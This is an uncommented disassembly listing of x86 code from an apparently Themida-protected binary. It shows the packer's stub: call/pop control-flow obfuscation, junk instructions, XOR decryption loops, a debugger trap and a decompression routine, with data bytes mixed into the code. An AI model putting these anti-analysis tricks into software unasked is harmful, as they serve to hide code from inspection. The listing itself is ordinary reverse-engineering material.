		dd 5A061226h, 4465858Dh, 0FCBA0612h, 2D0893CAh,	929h, 4459589h
		dd 66600612h, 0F08AD68Bh, 5E99061h, 3000000h, 12F53AEBh
		dd 8E85350h, 76000000h,	57F4226h, 66CDC5F9h, 5BDA20BBh
		dd 8529905Ah, 612277Dh,	7E9h, 0A9FAD00h, 929B0CE3h, 0A59D8BC3h
		dd 0B806120Ch, 0
; ---------------------------------------------------------------------------
		push	0
		push	ecx
		call	sub_582F07
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_582F07	proc near		; CODE XREF: Themida_:00582EFFp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 16h
		inc	ecx
		push	ecx
		retn
sub_582F07	endp

; ---------------------------------------------------------------------------
		xor	esp, [edi+57h]
		jle	loc_582F24
		mov	bx, 1B8Fh


loc_582F24:				; CODE XREF: Themida_:00582F1Aj
		jmp	loc_582F38
; ---------------------------------------------------------------------------
		db 1Dh,	6Fh, 0Ch
		dd 0D5E003C7h, 61D75094h, 7F2DB4FCh
; ---------------------------------------------------------------------------


loc_582F38:				; CODE XREF: Themida_:loc_582F24j
		jmp	loc_583154
; ---------------------------------------------------------------------------
		and	ebx, 7A6B1CCDh
		mov	eax, 1
		sub	[ebp+61214EDh],	eax
		lea	edi, [ebp+612446Ah]
		cmc
		jmp	loc_583007
; ---------------------------------------------------------------------------
		adc	dl, 58h
		cmp	eax, 2
		jnz	loc_582F81
		add	[ebp+6122FD9h],	edx
		lea	edi, [ebp+6124662h]
		sub	bx, 0DF18h
		jmp	loc_583007
; ---------------------------------------------------------------------------
		adc	bx, 0D8EBh


loc_582F81:				; CODE XREF: Themida_:00582F60j
		cmp	eax, 3
		jnz	loc_582FE7
		mov	[ebp+6120819h],	esi
		xor	edx, [ebp+612173Dh]
		lea	edi, [ebp+61247F6h]
		push	0
		push	ebx
		call	sub_582FA7
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_582FA7	proc near		; CODE XREF: Themida_:00582F9Fp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Ah
		inc	ebx
		push	ebx
		retn
sub_582FA7	endp

; ---------------------------------------------------------------------------
		db 0A2h
		dd 1B358FE8h, 952902D7h, 6122A9Dh, 2C518D89h, 0AE80612h
		dd 75000000h, 0F6F05F62h, 0D391F37Bh, 5BCEB39Ah, 26E9h
		dd 0E9BD8900h
; ---------------------------------------------------------------------------
		adc	al, es:[esi]


loc_582FE7:				; CODE XREF: Themida_:00582F84j
		cmp	eax, 5
		jnz	loc_583007
		jnb	loc_582FFC
		mov	ebx, [ebp+6122975h]


loc_582FFC:				; CODE XREF: Themida_:00582FF0j
		jmp	loc_58308A
; ---------------------------------------------------------------------------
		mov	[ebp+61233E9h],	ebx


loc_583007:				; CODE XREF: Themida_:00582F55j
					; Themida_:00582F77j ...
		push	edi
		push	0
		push	esi
		call	sub_583013
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_583013	proc near		; CODE XREF: Themida_:0058300Bp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 17h
		inc	esi
		push	esi
		retn
sub_583013	endp

; ---------------------------------------------------------------------------
		push	0FFFFFFECh
		pop	ecx
		clc
		mov	bl, 37h
		sub	[ebp+6121FCDh],	ebx
		mov	ecx, 61D49BE7h
		mov	ebx, 7A2FEEB8h


loc_583039:				; CODE XREF: Themida_:0058307Ej
		cmp	dword ptr [edi], 0
		jz	loc_58308A
		mov	edx, 51220428h
		sub	ebx, 230FED44h
		xor	[edi], cl
		jmp	loc_58305E
; ---------------------------------------------------------------------------
		test	edi, eax
		xor	[ebp+47h], ecx
		int	3		; Trap to Debugger
		nop
		daa
		test	eax, edx


loc_58305E:				; CODE XREF: Themida_:0058304Fj
		ror	ecx, 1
		jmp	loc_583077
; ---------------------------------------------------------------------------
		db 8Dh,	0F3h, 63h
; ---------------------------------------------------------------------------
		push	ecx
		sbb	ch, [edi-7Dh]
		stc
		pop	ebx
		and	[ebx], al
		retf
; ---------------------------------------------------------------------------
		or	[esi+612C8C9Ch], ebx


loc_583077:				; CODE XREF: Themida_:00583060j
		inc	edi
		mov	[ebp+6120275h],	esi
		jmp	loc_583039
; ---------------------------------------------------------------------------
		adc	bx, 2F55h
		mov	bl, dh


loc_58308A:				; CODE XREF: Themida_:loc_582FFCj
					; Themida_:0058303Cj
		cmp	eax, 5
		jnz	loc_583154
		push	0
		push	eax
		call	sub_58309E
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58309E	proc near		; CODE XREF: Themida_:00583096p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 19h
		inc	eax
		push	eax
		retn
sub_58309E	endp

; ---------------------------------------------------------------------------
		pop	ss
		setalc
		cmc
		db	66h, 2Eh
		mov	dh, 56h
		xor	dl, 6
		pop	ebx
		mov	cx, ds
		push	0
		push	ebp
		call	sub_5830C7
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5830C7	proc near		; CODE XREF: Themida_:005830BFp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 15h
		inc	ebp
		push	ebp
		retn
sub_5830C7	endp

; ---------------------------------------------------------------------------
		db 59h
		dd 0C1F6FC1Dh, 2E850F04h, 50000000h, 13E8h, 7C72B600h
		dd 9408B7CCh, 26D5FAC5h, 87F178A7h, 0C4E57209h,	0B85B5Ah
		dd 8B000000h, 1227CD9Dh, 46E906h, 8B660000h, 0E9858BD7h
		dd 6A061228h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 18042444h, 40000000h, 0DB17C350h, 0F6EC387h,	681h, 0A9958900h
		dd 8006121Fh, 0E0FF46DAh, 275958Bh, 0BD290612h,	61226B5h
; ---------------------------------------------------------------------------


loc_583154:				; CODE XREF: Themida_:00582571j
					; Themida_:loc_582F38j	...
		cmp	dword ptr [ebp+6122E3Dh], 0
		jnz	loc_58327D
		push	0
		push	ebx
		call	sub_58316C
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58316C	proc near		; CODE XREF: Themida_:00583164p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 19h
		inc	ebx
		push	ebx
		retn
sub_58316C	endp

; ---------------------------------------------------------------------------
		pop	ecx
		lahf
		push	es
		popf
		xor	al, 0BDh
		nop
		mov	bh, 65h
		push	eax
		js	loc_583191
		mov	edx, 2778E4A4h


loc_583191:				; CODE XREF: Themida_:00583186j
		nop
		push	0
		push	edx
		call	sub_58319D
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58319D	proc near		; CODE XREF: Themida_:00583195p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Bh
		inc	edx
		push	edx
		retn
sub_58319D	endp

; ---------------------------------------------------------------------------
		scasd
		stosb
		push	esi
		mov	bl, 25h
		mov	eax, ds:6660252Bh
		mov	edx, 0B589F8AEh
		popf
		xor	dl, [edx]
		push	es
		popa
		mov	byte ptr [ebp+61215C1h], 45h
		jmp	loc_5831D2
; ---------------------------------------------------------------------------
		db 58h,	0E4h, 0AAh
		db 0BDh, 0FDh
; ---------------------------------------------------------------------------


loc_5831D2:				; CODE XREF: Themida_:005831C8j
		call	near ptr loc_5831D7+4


loc_5831D7:				; CODE XREF: Themida_:loc_5831D2p
		imul	ebp, [ecx+72h],	0BE98Eh
; ---------------------------------------------------------------------------
		dw 0
		dd 0D4B708D0h, 87C9F86Dh, 509A7F91h, 448B77B2h,	66560424h
		dd 5BD2EABAh, 0D68B008Bh, 4244489h, 16CB8158h, 0FF29CEDBh
		dd 1217F1B5h, 14E906h, 687F0000h, 0A4C69E73h, 44D31BF1h
		dd 0EBA92081h, 0AFD4E958h, 858D8DB5h, 6123B48h,	0D0FFDA8Bh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 73C35545h
		dd 70186DF4h, 7F6D2527h, 0E5C6D281h, 858937AAh,	6122E3Dh
		dd 3041958Bh, 0E9580612h, 11h, 0E0C08DFh, 297BF4B1h, 75A47A93h
		dd 99BB7D0Bh
; ---------------------------------------------------------------------------
		push	es


loc_58327D:				; CODE XREF: Themida_:0058315Bj
		cmp	dword ptr [ebp+6124E39h], 0
		jz	loc_5832AC
		mov	ebx, ecx
		push	dword ptr [ebp+6120F0Dh]
		add	[ebp+6122DBDh],	edx
		call	dword ptr [ebp+6122E3Dh]
		push	esi
		mov	[ebp+612189Dh],	esi
		pop	ebx
		mov	[ebp+6122CE9h],	edx


loc_5832AC:				; CODE XREF: Themida_:00583284j
		cmp	eax, 0
		jnz	loc_5833B0
		xor	bh, 8Fh
		cmp	dword ptr [ebp+612309Dh], 0
		jz	loc_58332E
		push	0
		push	edi
		call	sub_5832D0
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5832D0	proc near		; CODE XREF: Themida_:005832C8p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 14h
		inc	edi
		push	edi
		retn
sub_5832D0	endp

; ---------------------------------------------------------------------------
		sub	ecx, [edi]
		mov	edi, 9DB5FFDEh
		xor	[edx], dl
		push	es
		push	0
		push	esi
		call	sub_5832F5
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5832F5	proc near		; CODE XREF: Themida_:005832EDp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 14h
		inc	esi
		push	esi
		retn
sub_5832F5	endp

; ---------------------------------------------------------------------------
		setalc
		mov	[ebp+6120F31h],	edx
		pusha
		push	ebx
		movzx	esi, di
		pop	edi
		movzx	edx, bx
		popa
		mov	eax, 1
		push	esi
		mov	ebx, [ebp+6122379h]
		pop	ebx
		jmp	loc_583571
; ---------------------------------------------------------------------------
		add	[ebp+6120C41h],	edx


loc_58332E:				; CODE XREF: Themida_:005832BFj
		push	dword ptr [ebp+6120F0Dh]
		push	0
		push	esi
		call	sub_58333F
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58333F	proc near		; CODE XREF: Themida_:00583337p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Dh
		inc	esi
		push	esi
		retn
sub_58333F	endp

; ---------------------------------------------------------------------------
		fistp	dword ptr [edi-4Dh]
		fcomp	qword ptr [edx+4B98ECBBh]
		inc	dword ptr [ecx+773725F2h]
		xor	al, 0FFh
		mov	ch, 0Dh
		movlps	xmm0, qword ptr	[esi]
		add	bl, 63h
		push	dword ptr [ebp+6122E3Dh]
		mov	[ebp+61227E5h],	ecx
		add	dl, 6Ch
		jmp	loc_583571
; ---------------------------------------------------------------------------
		push	0
		push	edi
		call	sub_583387
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_583387	proc near		; CODE XREF: Themida_:0058337Fp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Dh
		inc	edi
		push	edi
		retn
sub_583387	endp

; ---------------------------------------------------------------------------
		db 2Ah
		dd 8F814D93h, 0F77CAB54h, 0FF560A1h, 68Ah, 159D8900h, 61061220h
; ---------------------------------------------------------------------------


loc_5833B0:				; CODE XREF: Themida_:005832AFj
		pop	edi
		add	[ebp+6122551h],	ecx
		cmp	dword ptr [ebp+6122D09h], 0
		jnz	loc_583465
		push	0
		push	ebx
		call	sub_5833CF
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5833CF	proc near		; CODE XREF: Themida_:005833C7p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 19h
		inc	ebx
		push	ebx
		retn
sub_5833CF	endp

; ---------------------------------------------------------------------------
		db 0C7h
; ---------------------------------------------------------------------------
		push	0A0239B6Bh
		jmp	loc_5833F3
; ---------------------------------------------------------------------------
		dw 7A0Ch
		dd 6E7BE347h
; ---------------------------------------------------------------------------
		mov	ebp, esi
		das


loc_5833F3:				; CODE XREF: Themida_:005833E5j
		mov	byte ptr [ebp+61215C1h], 4Dh
		mov	ebx, [ebp+6121C4Dh]
		push	8BEC24E4h
		mov	bh, dh
		add	dword ptr [esp], 184951C4h
		js	loc_583417
		mov	bx, di


loc_583417:				; CODE XREF: Themida_:0058340Ej
		push	dword ptr [ebp+612335Dh]
		mov	[ebp+61210BDh],	eax
		lea	eax, [ebp+6123B48h]
		push	0
		push	edi
		call	sub_583434
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_583434	proc near		; CODE XREF: Themida_:0058342Cp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 16h
		inc	edi
		push	edi
		retn
sub_583434	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		and	[edi], ecx
		mov	[ebp+61226DDh],	edi
		call	eax
		push	edx
		mov	ebx, ecx
		pop	ebx
		mov	edx, [ebp+6120B95h]
		mov	[ebp+6122D09h],	eax
		adc	ebx, 4302FC14h


loc_583465:				; CODE XREF: Themida_:005833BEj
		mov	eax, 0
		push	0
		push	ebx
		call	sub_583475
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_583475	proc near		; CODE XREF: Themida_:0058346Dp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Dh
		inc	ebx
		push	ebx
		retn
sub_583475	endp

; ---------------------------------------------------------------------------
		mov	al, ds:0A729079Fh
		inc	ebp
		stc
		test	esp, esp
		add	[ecx+124DE2BDh], ecx
		push	es
		push	0
		push	ebp
		call	sub_5834A0
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5834A0	proc near		; CODE XREF: Themida_:00583498p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Dh
		inc	ebp
		push	ebp
		retn
sub_5834A0	endp

; ---------------------------------------------------------------------------
		dd 0EEDEB2D3h, 0C86F19A4h, 800F89E6h, 6, 33B5958Bh, 0C00B0612h
		dd 42840Fh, 0F500000h, 8B5ADEB7h, 1214A595h, 93E906h, 6A0000h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h
		dd 108712C3h, 830F81B9h, 6, 24E19533h, 0BD310612h, 612189Dh
		dd 2E3DB5FFh, 6A0612h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 140424h, 53430000h, 0E6807EC3h, 0D0858D05h, 890614A6h
		dd 121D9DBDh, 0BB669006h, 6650BD13h, 901C0EBAh,	0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0E7C35747h, 89DF8B66h
		dd 12189DBDh
; ---------------------------------------------------------------------------
		push	es


loc_583571:				; CODE XREF: Themida_:00583323j
					; Themida_:00583377j
		push	eax
		push	esi
		lea	edi, [ebp+612562Fh]
		lea	ecx, [ebp+6127AACh]
		mov	eax, 748323BCh
		sub	ecx, edi


loc_583586:				; CODE XREF: Themida_:0058358Cj
		xor	[edi], al
		ror	al, 1
		inc	edi
		dec	ecx
		jnz	short loc_583586
		pop	esi
		pop	eax
		cmp	dword ptr [ebp+612309Dh], 0
		jz	short loc_58359F
		mov	ecx, [ebp+6120901h]


loc_58359F:				; CODE XREF: Themida_:00583597j
		xor	ecx, ecx
		mov	eax, 0
		or	eax, eax
		jz	loc_583656
		cmp	dword ptr [ebp+6120B55h], 0
		jz	short loc_5835BD
		call	dword ptr [ebp+6121D65h]


loc_5835BD:				; CODE XREF: Themida_:005835B5j
		mov	eax, 0
		or	eax, eax
		jnz	short loc_5835CF
		cmp	dword ptr [ebp+6124DEAh], 1
		jz	short loc_5835D8


loc_5835CF:				; CODE XREF: Themida_:005835C4j
		cmp	dword ptr [ebp+6124DEAh], 2
		jnz	short loc_5835E6


loc_5835D8:				; CODE XREF: Themida_:005835CDj
		mov	esi, [ebp+6124DE2h]
		lea	eax, [ebp+614A6D0h]
		call	eax


loc_5835E6:				; CODE XREF: Themida_:005835D6j
		cmp	dword ptr [ebp+612216Dh], 0
		jz	short loc_5835F5
		call	dword ptr [ebp+6121C5Dh]


loc_5835F5:				; CODE XREF: Themida_:005835EDj
		lea	eax, [ebp+61243F6h]
		call	eax
		cmp	dword ptr [ebp+6122561h], 2
		jnz	short loc_583635
		mov	esp, [ebp+6121D79h]
		mov	eax, [ebp+612309Dh]
		mov	[esp], eax
		mov	dword ptr [ebp+6122E51h], 1
		mov	esi, [ebp+6124DE6h]
		mov	ebp, [ebp+61218FDh]
		mov	eax, 1
		retn	0Ch
; ---------------------------------------------------------------------------
		jmp	short $+2


loc_583635:				; CODE XREF: Themida_:00583604j
		mov	dword ptr [ebp+6122E51h], 1
		mov	esp, [ebp+6121D79h]
		mov	esi, [ebp+61221A1h]
		mov	ebp, [ebp+61218FDh]
		xor	eax, eax
		retn	0Ch
; ---------------------------------------------------------------------------


loc_583656:				; CODE XREF: Themida_:005835A8j
		cmp	dword ptr [ebp+612216Dh], 0
		jz	short loc_58366E
		cmp	dword ptr [ebp+6121C5Dh], 0
		jz	short loc_58366E
		call	dword ptr [ebp+6121C5Dh]


loc_58366E:				; CODE XREF: Themida_:0058365Dj
					; Themida_:00583666j
		mov	esi, [ebp+6124DE2h]
		retn
; ---------------------------------------------------------------------------
		push	0
		push	edx
		call	sub_583680
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_583680	proc near		; CODE XREF: Themida_:00583678p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 14h
		inc	edx
		push	edx
		retn
sub_583680	endp

; ---------------------------------------------------------------------------
		push	ebp
		and	ebx, [ebp+612122Dh]
		or	[ebp+612267Dh],	ebx
		movsx	edx, ax
		sub	edx, edx
		mov	[ebp+6122919h],	ebx
		push	ebp
		mov	ebp, esp
		push	ecx
		push	edi
		push	edx
		push	esi
		mov	edi, [ebp+8]
		xor	eax, eax
		jmp	short loc_5836B8
; ---------------------------------------------------------------------------


loc_5836B6:				; CODE XREF: Themida_:005836BBj
		inc	eax
		inc	edi


loc_5836B8:				; CODE XREF: Themida_:005836B4j
		cmp	byte ptr [edi],	0
		jnz	short loc_5836B6
		xor	ecx, ecx
		mov	edi, [ebp+8]
		jmp	short loc_5836E7
; ---------------------------------------------------------------------------


loc_5836C4:				; CODE XREF: Themida_:005836E9j
		xor	edx, edx
		mov	dl, [edi]
		sub	dl, 30h
		mov	esi, eax
		dec	esi
		push	eax
		mov	eax, edx
		push	ebx
		mov	ebx, 0Ah
		jmp	short loc_5836DC
; ---------------------------------------------------------------------------


loc_5836D9:				; CODE XREF: Themida_:005836DFj
		mul	ebx
		dec	esi


loc_5836DC:				; CODE XREF: Themida_:005836D7j
		cmp	esi, 0
		ja	short loc_5836D9
		pop	ebx
		add	ecx, eax
		pop	eax
		inc	edi
		dec	eax


loc_5836E7:				; CODE XREF: Themida_:005836C2j
		or	eax, eax
		jnz	short loc_5836C4
		mov	eax, ecx
		pop	esi
		pop	edx
		pop	edi
		pop	ecx
		leave
		retn	4
; ---------------------------------------------------------------------------
		push	0
		push	esi
		call	sub_583700
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_583700	proc near		; CODE XREF: Themida_:005836F8p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Dh
		inc	esi
		push	esi
		retn
sub_583700	endp

; ---------------------------------------------------------------------------
		sbb	eax, 0DA6FDFAh
		frstor	byte ptr [edx]
		push	eax
		push	ebp
		xor	esp, [esi-75h]
		fisubr	dword ptr [edx+0]
		push	edx
		call	sub_583728
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_583728	proc near		; CODE XREF: Themida_:00583720p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 16h
		inc	edx
		push	edx
		retn
sub_583728	endp

; ---------------------------------------------------------------------------
		pop	ds
		add	[ebx], ch


loc_58373B:				; CODE XREF: Themida_:loc_580917j
		mov	eax, ecx
		jmp	loc_5838EF
; ---------------------------------------------------------------------------
		pusha
		mov	esi, [esp+24h]
		mov	edi, [esp+28h]
		cld
		mov	dl, 80h


loc_58374E:				; CODE XREF: Themida_:loc_583766j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		mov	ebx, 2


loc_583759:				; CODE XREF: Themida_:005837E4j
					; Themida_:0058384Cj ...
		add	dl, dl
		jnz	loc_583766
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_583766:				; CODE XREF: Themida_:0058375Bj
		jnb	loc_58374E
		add	dl, dl
		jnz	loc_583779
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_583779:				; CODE XREF: Themida_:0058376Ej
		jnb	loc_5837E9
		xor	eax, eax
		add	dl, dl
		jnz	loc_58378E
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_58378E:				; CODE XREF: Themida_:00583783j
		jnb	loc_5838BE
		add	dl, dl
		jnz	loc_5837A1
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_5837A1:				; CODE XREF: Themida_:00583796j
		adc	eax, eax
		add	dl, dl
		jnz	loc_5837B0
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_5837B0:				; CODE XREF: Themida_:005837A5j
		adc	eax, eax
		add	dl, dl
		jnz	loc_5837BF
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_5837BF:				; CODE XREF: Themida_:005837B4j
		adc	eax, eax
		add	dl, dl
		jnz	loc_5837CE
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_5837CE:				; CODE XREF: Themida_:005837C3j
		adc	eax, eax
		jz	loc_5837DC
		push	edi
		sub	edi, eax
		mov	al, [edi]
		pop	edi


loc_5837DC:				; CODE XREF: Themida_:005837D0j
		mov	[edi], al
		inc	edi
		mov	ebx, 2
		jmp	loc_583759
; ---------------------------------------------------------------------------


loc_5837E9:				; CODE XREF: Themida_:loc_583779j
		mov	eax, 1


loc_5837EE:				; CODE XREF: Themida_:loc_58380Aj
		add	dl, dl
		jnz	loc_5837FB
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_5837FB:				; CODE XREF: Themida_:005837F0j
		adc	eax, eax
		add	dl, dl
		jnz	loc_58380A
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_58380A:				; CODE XREF: Themida_:005837FFj
		jb	loc_5837EE
		sub	eax, ebx
		mov	ebx, 1
		jnz	loc_583851
		mov	ecx, 1


loc_583822:				; CODE XREF: Themida_:loc_58383Ej
		add	dl, dl
		jnz	loc_58382F
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_58382F:				; CODE XREF: Themida_:00583824j
		adc	ecx, ecx
		add	dl, dl
		jnz	loc_58383E
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_58383E:				; CODE XREF: Themida_:00583833j
		jb	loc_583822
		push	esi
		mov	esi, edi
		sub	esi, ebp
		rep movsb
		pop	esi
		jmp	loc_583759
; ---------------------------------------------------------------------------


loc_583851:				; CODE XREF: Themida_:00583817j
		dec	eax
		shl	eax, 8
		mov	al, [esi]
		inc	esi
		mov	ebp, eax
		mov	ecx, 1


loc_58385F:				; CODE XREF: Themida_:loc_58387Bj
		add	dl, dl
		jnz	loc_58386C
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_58386C:				; CODE XREF: Themida_:00583861j
		adc	ecx, ecx
		add	dl, dl
		jnz	loc_58387B
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_58387B:				; CODE XREF: Themida_:00583870j
		jb	loc_58385F
		cmp	eax, 7D00h
		jnb	loc_5838AE
		cmp	eax, 500h
		jb	loc_5838A5
		inc	ecx
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_583759
; ---------------------------------------------------------------------------


loc_5838A5:				; CODE XREF: Themida_:00583891j
		cmp	eax, 7Fh
		ja	loc_5838B1


loc_5838AE:				; CODE XREF: Themida_:00583886j
		add	ecx, 2


loc_5838B1:				; CODE XREF: Themida_:005838A8j
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_583759
; ---------------------------------------------------------------------------


loc_5838BE:				; CODE XREF: Themida_:loc_58378Ej
		mov	al, [esi]
		inc	esi
		xor	ecx, ecx
		shr	al, 1
		jz	loc_5838E3
		adc	ecx, 2
		mov	ebp, eax
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		mov	ebx, 1
		jmp	loc_583759
; ---------------------------------------------------------------------------


loc_5838E3:				; CODE XREF: Themida_:005838C6j
		sub	edi, [esp+28h]
		mov	[esp+1Ch], edi
		popa
		retn	8
; ---------------------------------------------------------------------------


loc_5838EF:				; CODE XREF: Themida_:0058373Dj
		mov	edx, 929h
		jmp	loc_5A5778
; ---------------------------------------------------------------------------
		dd offset dword_5FB688
		db 1Bh,	0, 6Dh
		dd 6D002302h, 5F9B4202h, 0
		dd 12FEF400h, 5FB68800h, 20600h, 200h, 100h, 600h, 45BADA00h
		dd 0FAh, 4 dup(0)
		dd 5880BF00h, 584AD600h, 58BDA800h, 58C51400h, 58C5E600h
		dd 58A5DB00h, 58B37400h, 58558900h, 5850F500h, 58F88D00h
		dd 58986100h, 58EDDF00h, 583FA400h, 58DF1100h, 586AE000h
		dd 5877CE00h, 58A36000h, 58AF8B00h, 58CD3000h, 584C4700h
		dd 589FB300h, 5842B000h, 5858CD00h, 586AC600h, 58712D00h
		dd 58564600h, 58777D00h, 58DE6C00h, 583D8100h, 58851F00h
		dd 58EBF300h, 58CFE900h, 5842D400h, 58EF4C00h, 58C94B00h
		dd 58450D00h, 58A71800h, 583E5200h, 5843AC00h, 5897A200h
		dd 58F8B200h, 583F4E00h, 58F02400h, 58407A00h, 5898E000h
		dd 58AA7000h, 584A2400h, 58401C00h, 58576E00h, 58A32600h
		dd 587AD600h, 58743000h, 58815700h, 58A88C00h, 58FDCD00h
		dd 586A9300h, 58988000h, 58BA2100h, 58485200h, 58ACFA00h
		dd 5890AD00h, 58B45C00h, 58F4FC00h, 58E13600h, 5856B200h
		dd 58869400h, 58C1DC00h, 58708100h, 589E8100h, 58BFE700h
		dd 58A9ED00h, 58AD5800h, 58E70000h, 58E25C00h, 584DC000h
		dd 58E2B100h, 58D38E00h, 5865C600h, 58B45100h, 583FD900h
		dd 584D6800h, 58C47E00h, 58453100h, 588F4200h, 583E4A00h
		dd 588EEE00h, 58BBCD00h, 5854EB00h, 58BA2A00h, 58522400h
		dd 58EC4000h, 58919100h, 58FA8F00h, 58482600h, 586F9400h
		dd 58A75300h, 5884B500h, 58583800h, 5864E000h, 58419200h
		dd 589CAF00h, 583EF200h, 58F04100h, 583EA700h, 58F78A00h
		dd 58F7A000h, 58951200h, 584F7D00h, 58F3E000h, 58717A00h
		dd 58883D00h, 58CAA200h, 58FEED00h, 58581900h, 58B8F400h
		dd 588B6100h, 5870CB00h, 58702500h, 58578500h, 58624D00h
		dd 58A87B00h, 586B3100h, 58B55100h, 58F0A500h, 58E88A00h
		dd 58E09800h, 5857D400h, 5877C300h, 583D3200h, 58F68E00h
		dd 5856DF00h, 5879AF00h, 58BD2200h, 589FCD00h, 58C77B00h
		dd 587E7400h, 58852E00h, 58742200h, 587FA900h, 58626D00h
		dd 58DE1200h, 584F6E00h, 585F4300h, 58B6D200h, 58F4BC00h
		dd 58B61300h, 58AB0200h, 58709B00h, 58DA7B00h, 58971D00h
		dd 587C5600h, 58EF0200h, 58DC9600h, 58487A00h, 58BE8A00h
		dd 58F97000h, 58711900h, 5878DC00h, 58DFF900h, 585BD100h
		dd 589B7200h, 58737600h, 5857E000h, 587B0C00h, 58F2DD00h
		dd 58F64600h, 58F8BF00h
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5B5756


loc_583BD9:				; CODE XREF: Themida_:005A57D5j
					; Themida_:005A57DFj ...
		pusha
		pushf
		cld
		call	$+5
		pop	edi
		sub	edi, 6128107h
		mov	eax, edi
		add	edi, 6127E1Fh
		cmp	eax, [edi+2Ch]
		jnz	short loc_583BF7
		jmp	short loc_583C0A
; ---------------------------------------------------------------------------


loc_583BF7:				; CODE XREF: sub_5B5756-31B63j
		mov	[edi+2Ch], eax
		mov	ecx, 0A7h
		jmp	short loc_583C06
; ---------------------------------------------------------------------------


loc_583C01:				; CODE XREF: sub_5B5756-31B4Ej
		add	[edi+ecx*4+40h], eax
		dec	ecx


loc_583C06:				; CODE XREF: sub_5B5756-31B57j
		or	ecx, ecx
		jnz	short loc_583C01


loc_583C0A:				; CODE XREF: sub_5B5756-31B61j
		mov	esi, [esp+24h]
		mov	ebx, esi
		add	esi, eax
		mov	ecx, 1


loc_583C17:				; CODE XREF: sub_5B5756-31B38j
		xor	eax, eax
		lock cmpxchg [edi+30h],	ecx
		jnz	short loc_583C17


loc_583C20:				; CODE XREF: Themida_:loc_583D0Dj
					; Themida_:loc_583DD1j	...
		lodsb
		sub	al, 9Fh
